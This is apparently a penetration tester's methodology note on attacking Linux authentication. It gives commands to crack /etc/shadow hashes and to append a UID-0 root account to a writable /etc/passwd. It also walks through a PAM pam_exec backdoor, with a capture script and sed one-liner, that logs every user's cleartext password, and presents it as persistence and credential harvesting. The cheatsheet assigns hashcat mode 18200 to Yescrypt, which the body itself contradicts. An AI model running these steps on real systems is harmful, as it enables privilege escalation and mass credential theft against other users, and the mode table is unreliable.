🛡️ Methodology Checklist
- Understand auth stack: PAM → /etc/passwd → /etc/shadow
- Check
/etc/passwdfor weak permissions:ls -la /etc/passwd /etc/shadow - Check for writable
/etc/passwd: add root-level user manually - Identify hash algorithm from shadow:
$1$=MD5,$6$=SHA-512 - Crack shadow hashes:
john /etc/shadow --wordlist=rockyou.txt - Check SSH authorized_keys for all users
- Review PAM configs for auth bypass:
cat /etc/pam.d/* - Capture cleartext at auth time (no hash crack): hook
pam_exec.so expose_authtokinto/etc/pam.d/common-auth
🎯 Operational Context
Use when: Understanding Linux authentication flow to identify credential interception points — /etc/passwd, /etc/shadow, PAM, and SSH key authentication.
Think Dumber First: If you can read /etc/shadow, you can crack every account offline. If /etc/passwd has x in password field, shadow is in use. If any entry has a direct hash in passwd (old systems), crack it directly.
Skip when: Modern hardened Linux with PAM + SSSD + Kerberos — shadow cracking only works on local accounts.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
cat /etc/passwd | Read user database (world-readable) |
sudo cat /etc/shadow | Read password hashes (root/shadow group only) |
sudo cat /etc/security/opasswd | Read old password history (often weaker hashes) |
ls -l /etc/passwd | Check if passwd is world-writable (instant privesc if rw-rw-rw-) |
sudo cp /etc/passwd /tmp/passwd.bak && sudo cp /etc/shadow /tmp/shadow.bak | Copy files for offline processing |
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes | Merge passwd + shadow for cracking |
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt | Crack SHA-512 Linux hashes |
hashcat -m 18200 -a 0 /tmp/unshadowed.hashes rockyou.txt | Crack Yescrypt hashes (modern Debian/Kali) |
john --single /tmp/unshadowed.hashes | JtR single mode — uses GECOS metadata as guesses |
find / -name pam_exec.so 2>/dev/null | Confirm the PAM exec module is present for credential interception |
echo 'auth optional pam_exec.so quiet expose_authtok /dev/shm/pwn.sh' | The hook that pipes the cleartext auth token to your script on stdin |
🔬 Deep Dive & Workflow
PAM and the Authentication Files
Linux authentication is managed by PAM (pam_unix.so). It reads from two files:
/etc/passwd — world-readable user metadata. Each line is seven colon-separated fields:
[USER]:x:1000:1000:,,,:/home/[USER]:/bin/bash
(1) (2) (3) (4) (5) (6) (7)
| # | Field | Meaning |
|---|---|---|
| 1 | username | login name |
| 2 | password | x = hash is in /etc/shadow; empty = no password required; a hash here = crackable directly (legacy) |
| 3 | UID | 0 = root — this is what grants privilege, not the name |
| 4 | GID | primary group id |
| 5 | GECOS | comment/full name (used by John --single) |
| 6 | home | home directory |
| 7 | shell | login shell |
Writable /etc/passwd → instant root (by hand). If you can write the file, add your own UID-0 line. Do it manually so the seven fields are deliberate:
- Generate a hash for field 2 (omit this and leave field 2 empty for a no-password account, but many
login/supaths reject empty-password root):openssl passwd -1 'Passw0rd!'→$1$xyz$… - Append a line with UID 0, GID 0 and your hash:
echo 'root2:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd- Become it:
su root2→ root. (root2, notroot, so you don’t clobber the real account or its shadow entry.)
The one-liner is just this line appended — the leverage is entirely in fields 3/4 being 0:0.
/etc/shadow — root-only hashes:
[USER]:$y$j9T$3QS...:18955:0:99999:7:::
/etc/security/opasswd — password history file. Often contains older MD5 ($1$) hashes from when the account was created — significantly easier to crack than the current SHA-512 or Yescrypt hash.
Hash Algorithm Identification
The $ID$ prefix in the shadow file identifies the algorithm:
| ID | Algorithm | Hashcat Mode |
|---|---|---|
$1$ | md5crypt | 500 |
$2a$/$2b$/$2y$ | bcrypt | 3200 |
$5$ | sha256crypt | 7400 |
$6$ | sha512crypt | 1800 |
$y$ | yescrypt | none — crack with John |
SHA-512 ($6$) is standard on most Linux distributions. Yescrypt ($y$) is the new default on Debian/Ubuntu/Kali — note it has no hashcat mode, so crack it with John the Ripper jumbo (do not confuse it with 18200, which is Kerberos AS-REP). For recognising hashes from other sources on sight, see Password_Attacks_Cheat_Sheet (“Identify a Hash on Sight”).
Unshadow Workflow
unshadow (bundled with John the Ripper) merges passwd and shadow into a combined format that both John and Hashcat can process:
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes /usr/share/wordlists/rockyou.txtThe unshadowed format is also optimal for John’s --single mode, which uses the username and GECOS fields to generate targeted guesses.
Credential Interception via pam_exec (capture / backdoor)
Cracking /etc/shadow is the offline path. The online path is to intercept the cleartext token as it is submitted, skipping the hash entirely. PAM’s pam_exec.so runs an arbitrary script during authentication, and expose_authtok pipes the submitted password to that script on stdin — so a single line in /etc/pam.d/common-auth harvests cleartext for any account that authenticates (SSH, su, sudo).
Two uses for the same hook:
- Post-exploitation persistence / credential harvesting — once you’re root on a target, log every user (and any automated bot) that authenticates, without touching
/etc/shadow. - Inbound-SSH capture — point an automation/provisioning callback at a real
sshdyou control and read the credential it offers (see snoopy).
The capture script, written to volatile memory:
cat > /dev/shm/pwn.sh <<'EOF'
#!/bin/sh
echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.log
EOF
chmod +x /dev/shm/pwn.sh$PAM_USER is the account PAM is authenticating; cat - reads the cleartext token delivered by expose_authtok.
Insert the hook before pam_unix.so — not appended to the bottom of the file. Do it by hand first so you understand the rule, then automate it.
By hand — open /etc/pam.d/common-auth (nano/vi) and add one line at the top of the Primary block, above pam_unix.so:
# here are the per-package modules (the "Primary" block)
auth optional pam_exec.so quiet expose_authtok /dev/shm/pwn.sh
auth [success=1 default=ignore] pam_unix.so nullokA PAM rule is four whitespace-separated fields: type (auth — runs at authentication) · control (optional — never alters the pass/fail result, so a script error can’t lock you out) · module (pam_exec.so) · args (quiet = no module output, expose_authtok = pipe the password to the program on stdin, then the script path).
Same edit as a one-liner — sed inserts the line above the first pam_unix.so match (i = insert-before; \t → tabs):
sudo sed -i '/^auth.*pam_unix.so/i auth\toptional\tpam_exec.so quiet expose_authtok /dev/shm/pwn.sh' /etc/pam.d/common-authPAM walks the auth stack top-to-bottom and the default stack ends with pam_deny.so (requisite), which terminates immediately once auth fails. If the offered password won’t validate (a wrong/foreign credential, or a foothold you don’t share a password with), the stack reaches pam_deny and stops — a hook appended after it never runs. Placing it first guarantees it fires and grabs the token regardless of whether pam_unix later succeeds. Flags: optional (a script error never breaks the login flow, so you don’t lock yourself out), quiet (suppress module output), expose_authtok (the core mechanism).
Two-pass capture for a user that doesn’t exist locally: when the authenticating username has no local account, sshd runs a dummy auth path (to resist user enumeration) and never feeds the real token into PAM — the first attempt logs only $PAM_USER with an empty password field. Read the name, create the account, then drive the auth again:
cat /dev/shm/pwned.log # → "... - cbrown:" (username, empty password)
sudo useradd cbrown # make sshd run the genuine auth path
# re-trigger the inbound auth → "... - cbrown:<cleartext>"Clean up afterward: remove the hook (sed -i '/pam_exec.so quiet expose_authtok/d' /etc/pam.d/common-auth) and any throwaway account (userdel). The hook casts a wide net — it logs every authentication on the host, including legitimate ones.
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Cannot read /etc/shadow | Insufficient privileges | Find SUID cat/less: find / -perm -4000 -name 'cat' 2>/dev/null; or check if in shadow group: id |
| Hash format unrecognized | Unknown hash prefix | Identify: $1$=MD5, $2$/$2b$=bcrypt, $5$=SHA256, $6$=SHA512; use hashcat mode list |
| Shadow hash takes too long to crack | bcrypt rounds high | Check: $2b$12$ means 12 rounds = very slow; prioritize other attack paths |
| PAM misconfiguration not obvious | Config spread across files | Check all PAM files: ls /etc/pam.d/; grep -r 'sufficient|requisite' /etc/pam.d/ |
| NSS/SSSD users not in /etc/passwd | Centralized auth | List all users: getent passwd which queries NSS; domain users won’t be in local files |
pam_exec capture logs username but empty password | the authenticating user has no local account — sshd ran a dummy auth path | sudo useradd <user> then re-trigger; the second pass exposes the cleartext token |
pam_exec hook never fires at all | appended after pam_deny.so, which short-circuits on auth failure | move the line above pam_unix.so in /etc/pam.d/common-auth |
📝 Reporting Trigger
Finding Title: Weak Password Hash Algorithm in /etc/shadow Enables Offline Cracking
Impact: MD5 or SHA-256 password hashes in /etc/shadow are crackable in minutes to hours with modern GPU hardware, providing plaintext passwords for all local accounts on the compromised system.
Root Cause: Legacy system using MD5 ($1$) or SHA-256 ($5$) hashing instead of bcrypt or Argon2. No password complexity enforcement.
Recommendation: Migrate to bcrypt or Argon2 hashing (update PAM configuration). Enforce password complexity and rotation. Implement centralized authentication (SSSD + Kerberos) to eliminate local password-based authentication where possible.
🔗 Related Nodes
- Password_Cracking_JohnTheRipper
- Password_Cracking_Hashcat
- Credential_Hunting_Linux
- Linux_PrivEsc_Enumeration
- snoopy —
pam_exec/expose_authtokcapture of an inbound SSH provisioning credential